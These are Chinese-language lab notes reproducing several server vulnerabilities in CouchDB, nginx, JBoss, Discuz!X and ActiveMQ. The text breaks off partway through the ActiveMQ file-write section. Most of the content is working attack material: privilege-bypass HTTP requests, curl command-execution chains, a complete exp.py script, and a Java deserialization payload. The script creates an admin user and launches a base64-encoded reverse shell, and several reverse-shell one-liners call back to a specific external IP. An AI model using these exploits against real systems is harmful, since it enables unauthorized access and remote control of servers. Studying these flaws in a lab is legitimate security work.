Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
Path:couchdb/CVE-2017-12635
漏洞复现:
发送创建用户的请求包
PUT /_users/org.couchdb.user:username HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 96
{
"type": "user",
"name": "username",
"roles": ["_admin"],
"password": "password"
}
服务器返回错误,仅允许 admin 用户添加用户
重复发送 roles 参数,成功绕过限制,创建用户
PUT /_users/org.couchdb.user:username HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 111
{
"type": "user",
"name": "username",
"roles": ["_admin"],
"roles":[],
"password": "password"
}
成功创建用户
登陆成功
Couchdb 任意命令执行漏洞(CVE-2017-12636)
漏洞复现:
Version 1.6.0
在 CVE-2017-12635 的基础上进行任意命令执行操作
curl -X PUT 'http://co0ontty:password@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://co0ontty:password@your-ip:5984/vultest'
curl -X PUT 'http://co0ontty:password@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://co0ontty:password@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
其中 co0ontty:password 为用户名和密码
第一个请求是添加一个名字为cmd
的query_servers
,其中id >/tmp/success
为后面要执行的命令
第二、三个请求是添加一个 Database 和 Document,这里添加了后面才能查询。
第四个请求就是在这个 Database 里进行查询,因为我将 language 设置为cmd
,这里就会用到我第一步里添加的名为cmd
的query_servers
,最后触发命令执行。
Version 2.1.0
Couchdb 2.x 引入了集群,所以修改配置的 API 需要增加 node name。这个其实也简单,我们带上账号密码访问/_membership
即可:
第一个请求修改为:
curl -X PUT http://co0ontty:password@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
第二、三个请求不变:
curl -X PUT 'http://co0ontty:password@your-ip:5984/vultest'
curl -X PUT 'http://co0ontty:password@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
由于 Couchdb 2.x 删除了_temp_view
,所以我们为了触发query_servers
中定义的命令,需要添加一个_view
:
第四个请求修改为:
curl -X PUT http://co0ontty:password@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
增加_view
的同时即触发了query_servers
中的命令。
也可以使用 python 将这一过程连贯运行,并得到反弹 shell 的效果
补充:
linux 环境下可以通过下面这个命令实现反弹 shell
sh -i >& /dev/tcp/47.102.143.147/222 0>&1
/dev/[tcp|upd]/host/port 是 Linux 设备里面比较特殊的文件,读取或写入相当于建立 socket 调用
由于其特殊性,命令执行后依旧无法找到/dev/tcp 目录更不要说下面的文件了
注意,这里”&”在 Linux shell 中表示后台运行,当然这里 0>&1 不是这样,对于&1 更准确的说应该是文件描述符 1,而 1 一般代表的就是 STDOUT_FILENO
2>&1 形式用于重定向,2>表示错误重定向,&1 表示标准输出;以 ls >/dev/null 2>&1 为例,2>&1 是将标准出错重定向到标准输出,不过在这里又被重定向到了/dev/null 这个无底洞里 这里有一个问题:为什么 2>&1 要写在后面,以 command >file 2>&1 为例,首先是 command > file 将标准输出重定向到 file 中, 2>&1 是标准错误拷贝了标准输出的行为,也就是同样被重定向到 file 中,最终结果就是标准输出和错误都被重定向到 file 中 其实还有一个问题,既然 2>表示错误重定向,那么 0>表示什么呢?查阅资料发现在 Linux 下输入输出重定向有三个值,其中 2 已经说过是标准错误信息输出,那 0 则是标准输入,1 则为标准输出了。说到这里,其实又引出了一个新的问题,我们知道<才是表示输入的,那为何这里却是如此形式,按说就应该是 2 了,或者说这里 0 就已经是输入了,然后直接使用>进行输出,不是很清楚请大牛指点啊
exp.py:
#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://47.102.143.147:5984'
command = rb"""sh -i >& /dev/tcp/47.102.143.147/222 0>&1"""
version = 2
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:co0ontty', data='''{
"type": "user",
"name": "co0ontty",
"roles": ["_admin"],
"roles": [],
"password": "co0ontty"
}''')
session.auth = HTTPBasicAuth('co0ontty', 'co0ontty')
# print (session.auth)
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
# print (command)
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/co0ontty')
session.put(target + '/co0ontty/test', data='{"_id": "id"}')
if version == 1:
session.post(target + '/co0ontty/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/co0ontty/_design/test', data='{"_id":"_design/test","views":{"co0ontty":{"map":""} },"language":"cmd"}')
NGINX 解析漏洞
Path:nginx/nginx_parsing_vulnerability
漏洞成因:用户配置不当造成的解析漏洞。
漏洞复现:
制作 php 的图片马进行上传,利用解析漏洞将图片马当做 php 解析并运行。
<?phpinfo()?>
copy 1.jpg /a + shell.php /b shell.jpg
上传图片马,获得上传后的文件物理路径,访问相应的 web 路径(http://47.102.143.147/uploadfiles/f47454d1d3644127f42070181a8b9afc.jpg)获得图片
利用解析漏洞访问(http://47.102.143.147/uploadfiles/f47454d1d3644127f42070181a8b9afc.jpg/.php)成功解析图片为 php
JBoss 5.x/6.x 反序列化漏洞 (CVE-2017-12149)
Path:jboss/CVE-2017-12149
漏洞成因:该漏洞为 Java 反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
在/invoker/readonly
请求中,服务器将用户提交的 POST 内容进行了 Java 反序列化
使用常规的 Java 反序列化漏洞的测试方法来复现该漏洞。
漏洞复现:
访问http://47.102.143.147:8080/invoker/readonly发现返回值为 500,确定漏洞存在
使用 Java 反序列化利用工具 JavaDeserH2HC.zip(http://scan.javasec.cn/java/JavaDeserH2HC.zip) 生成 poc.ser
#编译运行
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成shell反弹poc
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 47.102.143.147:222
使用curl向服务器发送POST请求(@filename,从文件中读取数据(包括换行符),将读取的数据进行URL编码,然后发送给HTTP服务器)
curl http://47.102.143.147:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
Discuz!X ≤3.4 任意文件删除漏洞
Path:discuz/x3.4-arbitrary-deletion
漏洞复现:
登陆 Discuz!X 搭建的论坛,注册账号,在个人设置界面使用 POST 发送请求:
birthprovince=../../../test.txt&profilesubmit=1&formhash=e3807b55
其中 formhash 的值为: 发送请求后即刻删除指定的文件:
ActiveMQ 反序列化漏洞(CVE-2015-5254)
Path:activemq/CVE-2015-5254
漏洞详情:
Apache ActiveMQ 5.13.0 之前 5.x 版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的 Java Message Service(JMS)ObjectMessage 对象利用该漏洞执行任意代码。
漏洞复现:
前提:需要使用管理员权限的账号或者诱导管理员点击固定连接
· 构造可执行命令的序列化对象
这里使用的是 jmet下载地址,jmet 原理是使用 ysoserial 生成 Payload 并发送(其 jar 内自带 ysoserial,无需再自己下载),所以我们需要在 ysoserial 是 gadget 中选择一个可以使用的,比如 ROME。也可以单独使用 ysoserial 并发送。需要注意的是,使用 jmet 的时候需要在统计目录中创建一个名为 external 的文件夹,否则可能报文件夹不存在的错误
· 构造消息传递给目标的 61616 端口
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
· 使用管理员账号登陆管理界面,http://your-ip:8161/admin/browse.jsp? 点击查看消息详情,出发命令执行。
· 进入 docker 查看文件创建情况
· 将运行的命令切换为反弹 shell 的命令即可获得目标的 shell
bash -i >& /dev/tcp/47.102.143.147/222 0>&1
##
ActiveMQ 任意文件写入漏洞(CVE-2016-3088)
Path:activemq/CVE-2016-3088
ActiveMQ 的 web 控制台分三个应用,admin、api 和 fileserver,fileserver 无需登录。
本漏洞出现在 fileserver 应用中,漏洞原理其实非常简单,就是 fileserver 支持写入文件(但不解析 jsp),同时支持移动文件(MOVE 请求)。所以,我们只需要写入一个文件,然后使用 MOVE 请求将其移动到任意位置,造成任意文件写入漏洞。
文件上传 getshell 的几种方法:
1、写入 webshell,好处是使用的门槛低,但是需要被解析
2、写入 cron 或者 ssh key,可以直接反弹 shell,但是需要 roo 权限
3、写入 jar,稍微复杂
4、写入 xml 配置文件、需要知道 activemq 的绝对路径
上传 webshell
前提条件:拥有后台管理员权限
首先进入http://47.102.143.147:8161/admin/test/systemProperties.jsp 查看 activemq 的物理路径: